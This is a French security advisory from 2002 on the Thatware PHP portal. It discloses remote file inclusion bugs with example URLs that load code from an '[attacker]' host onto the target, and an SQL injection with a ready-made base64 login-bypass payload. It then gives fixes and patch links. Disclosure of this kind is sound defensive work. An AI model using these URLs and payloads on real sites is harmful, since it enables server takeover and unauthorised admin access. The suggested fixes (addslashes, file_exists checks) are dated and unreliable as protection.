Thatware ******** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.thatware.org Versions testées : 0.3 -> 0.5.3 Problèmes : - Injection SQL - Inclusions de fichiers Developpement : °°°°°°°°°°°°°°° Thatware est un portail, un gestionnaire de site avec news, partie membre, admin,... Commençons par la fin. La dernière version de Thatware à cette date, la 0.5.3, est touchée par deux failles d'inclusion de fichiers externes. D'abord dans config.php, où on peut voir la ligne buggée : ------------------------------------- include $root_path."db_settings.php"; ------------------------------------- Et ensuite dans artlist.php où on peut voir : ------------------------------------- include $root_path.'thatfile.php'; ------------------------------------- Comment cette faille pourrait-elle être utilisée ? Si quelqu'un met sur le site http://[attacker]/ le fichier db_settings.php, contenant par exemple : "; ?> Et qu'on inclut ce fichier http://[attacker]/db_settings.php de cette façon : http://[target]/config.php?root_path=http://[attacker]/, le code PHP sera executé par et sur le serveur http://[target]/. On peut donc également inclure http://[attacker]/thatfile.php grâce à une url du type http://[target]/artlist.php?root_path=http://[attacker]/ J'ai remonté l'analyse du produit jusqu'à sa version 0.3 . Comme celle-ci était encore affectée de quelques failles, je suppose que les versions précédentes sont aussi touchées. La version 0.5.2 contient aussi les failles include des fichiers config.php et artlist.php, comme la version 0.5.3, mais ils en ont aussi une troisième. En effet, dans le fichier thatfile.php, on peut voir les lignes : ------------------------------------------------------------------------------------------- if (!IsSet($thatfile)) { include($root_path."config.php"); if (!IsSet($translation_set)) { include $root_path."messages.$language.php"; } #Translation module, even for english needed! ------------------------------------------------------------------------------------------- On pourra donc inclure avec l'url http://[target]/thatfile.php?root_path=http://[attacker]/&language=1 les fichiers http://[attacker]/config.php et http://[attacker]/messages.1.php . En dessous de la version 0.5.0 comprise (et au moins jusqu'à la version 0.3), la faille artlist.php n'existe pas, car le fichier lui-même n'existe pas. Les failles config.php et thatfile.php y sont par contre toujours. On peut voir dans cette version un nouvelle faille, de type injection SQL. Le fichier d'authentification, auth.inc.php, contient ces lignes : ---------------------------------------------------------------------------------- auth.inc.php $admintest = 0; $mod_ok = 0; $moderator = 0; if(isset($user)) { if (!$thatfile) include("thatfile.php"); $admin = base64_decode($user); $admin = explode(":", $admin); if (empty($admin[0]) || empty($admin[2])) exit; $aid = $admin[1]; dbconnect(); $result=mysql_query("select rights from users where uid='$admin[0]' and pass='$admin[2]'"); if(!$result) { echo "Oh oh... select from database failed for admin check"; exit; } else { list($auth_rights)=mysql_fetch_row($result); $auth_rights=explode(",",$auth_rights); if (!empty($auth_rights)) { $admintest=1; if (inarray($auth_rights, "4")||inarray($auth_rights, "1")) { $moderator=1; $mod_ok=1; } } } } ---------------------------------------------------------------------------------- La faille se trouve sà la ligne $result=mysql_query("select rights from users where uid='$admin[0]' and pass='$admin[2]'"); Si on arrive à donner comme valeur à $admin[0] et à $admin[2] : ' OR ''=' la requête SQL sera select rights from users where uid='' OR ''='' and pass='' OR ''='' et on sera considéré comme authentifié en tant qu'admin, ou au moins en tant qu'user. Au sujet d'$admin, on peut voir les 2 lignes : ------------------------------- $admin = base64_decode($user); $admin = explode(":", $admin); ------------------------------- On peut voir que $admin doit être codé en base64, car il est décodé dans le script, et qu'il est coupé par des :, qui définiront $admin comme une liste, $admin[0] étant le 1er élément, $admin[1] le second etc... Pour insérer la donné qu'on veut, ' OR ''=', il nous faudra donc entrer comme valeur à $admin : ' OR ''=':1:' OR ''=' encrypté en base64, ce qui donne : JyBPUiAnJz0nOjE6JyBPUiAnJz0n Pour être authentifié sur le service, il faudra donc taper l'url : http://[target]/[file].php?user=JyBPUiAnJz0nOjE6JyBPUiAnJz0n [file] étant un des fichiers où il est nécessaire d'être loggé. Ces 3 failles : - Injection SQL dans auth.inc.php - Inclusion de fichiers dans config.php - Inclusion de fichiers dans thatfile.php se trouvent au moins jusqu'à la version 0.3, je n'ai pas vérifié les versions inférieures. Il y a juste une nuance dans les version 0.3 et 0.4, c'est que l'extension générale du produit n'est pas .php mais .php3. http://[target]/thatfile.php3?root_path=http://[attacker]/&language=1 inclura donc les fichiers http://[attacker]/config.php3 et http://[attacker]/messages.1.php3 et http://[target]/config.php3?root_path=http://[attacker]/ inclura http://[attacker]/db_settings.php3. Solutions : °°°°°°°°°°° Pour la faille SQL, il faudra remplacer dans auth.inc.php ou .php3 la ligne $result=mysql_query("select rights from users where uid='$admin[0]' and pass='$admin[2]'"); par : ---------------------------------------------------------------------------------------------- $query="select rights from users where uid='".addslashes($admin[0])."' and pass='".addslashes($admin[2])."'"; $result=mysql_query($query); ---------------------------------------------------------------------------------------------- Pour les failles includes, ajouter cette ligne au début des fichiers touchés : ----------------------------------------------------- if (!file_exists($root_path."config.php")){ exit; } ----------------------------------------------------- ou ----------------------------------------------------- if (!file_exists($root_path."config.php3")){ exit; } ----------------------------------------------------- selon l'extension. Des patchs sont publiés sur http://www.phpsecure.org : 0.5.3: http://www.phpsecure.org/patch/dl.php?id=47 0.5.2: http://www.phpsecure.org/patch/dl.php?id=51 0.5.0: http://www.phpsecure.org/patch/dl.php?id=50 0.4.5: http://www.phpsecure.org/patch/dl.php?id=52 0.4.4: http://www.phpsecure.org/patch/dl.php?id=49 0.4.3: http://www.phpsecure.org/patch/dl.php?id=48 0.4.2: http://www.phpsecure.org/patch/dl.php?id=53 0.4.1: http://www.phpsecure.org/patch/dl.php?id=54 0.4: http://www.phpsecure.org/patch/dl.php?id=55 0.3: http://www.phpsecure.org/patch/dl.php?id=56 Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.frog-man.org Date : 01/12/02